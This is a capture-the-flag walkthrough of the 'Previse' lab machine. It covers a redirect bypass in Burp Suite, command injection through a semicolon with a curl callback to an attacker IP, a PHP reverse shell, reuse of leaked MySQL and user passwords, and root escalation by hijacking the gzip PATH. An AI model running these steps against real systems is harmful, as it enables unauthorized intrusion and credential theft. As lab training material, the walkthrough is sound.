Previse - 21st Aug 2021: Scanning
Previse - 21st Aug 2021: Scanning
Pen Testing
Pen Testing New page
Previse - 21st Aug 2021 Import
Design /nav.php
We can run masscan_to_nmap.py , a tool I made that you can find on my Github. It runs a
Masscan, identifies open ports, and then takes those open ports over to Nmap, and scans for
versions and default scripts against those ports.
Enumeration
/nav.php
Burpsuite
Interacept the request to create an account. Send that to repeater, and then look at what
acounts.php holds for us. If we can traverse to acounts.php, we will be able to create an admin-
level account on this website
In Burpsuite's Proxy tab, rightclick and choose do intercept, and then response to this request
Once we forward a couple times, we get this page. See line 1? Change it from a 302 status
code to 200, and then forward on further
And in the browser, we are given are sneaky route to the user creation page.
Exploit Site
Pick whatever creds you want, sign in, and then let's get to work
We can look under files and download a zip of the entire site
Looking hard line 19 of logs.php in the zip, we can also see a strange python flaw. Here, it
seems like we may be able to exec() whatever we like and get a shell on the box. Let's find out!
Command Injection
Intercept it in burp, and then leverage a semi-colon to test if we get command execution and
have the machine hit us back with a curl
1 #on kali
2 sudo nc -nvlp 80
3
4 #in burpsuite
5 ; curl [your IP]/test
Reverse Shell
Now, we can leverage this command injection to get a reverse shell. We know the web server
has PHP on it, so let's use a PHP reverse shell and be sure to URL ecnode it (ctrl+u) in
Burpsuite. This ensures bad characters won't ruin it for us
WWW-Data Shell
If we run netstat -plunt , we can see that port 3306 is running internally - typically mysql
runs on this port
Earlier, when we downloaded the backup zip of the website, we found SQL creds:
User: root
DB: previse
Pass: mySQL_p@ssw0rd!:)
MySQL
Run this command, and then at the password prompt enter the password - ignore any errors
Okay awesome, now let's see what's in the accounts table: select * from accounts;
M4lwhere shell
Back in our victim shell, we can now escelate to the m4lwhere user
1 su m4lwhere
2 #ilovecody112235!
Enumerate II
If we read this backup script, it calls on gzip to do some stuff....don't get too distracted by the
stuff it does, notice that gzip isn't given it's full path. Because the full path isn't given, we can
create a malicious gzip binary and the script will call on this instead.
PrivEsc
We need to create our malicious gzip, and then change the path so our sudo script calls on the
'malicious gzip' chilling in /tmp.
Change your path back, and execute the new bash to become root
$6$QJgW9tG2$yIhp0MQm9b4ok8j9su9H0hJ.GuwI5AHusMrZBQv2oLfvotY5YR0MJ82zJ4xi5W
CKQSWn/a3HO/M/TjS/YC0Mk1
Password is root hash, starting with $6$QJg and ending with /YC0Mk1
Previous Next
Normal Boxes Schooled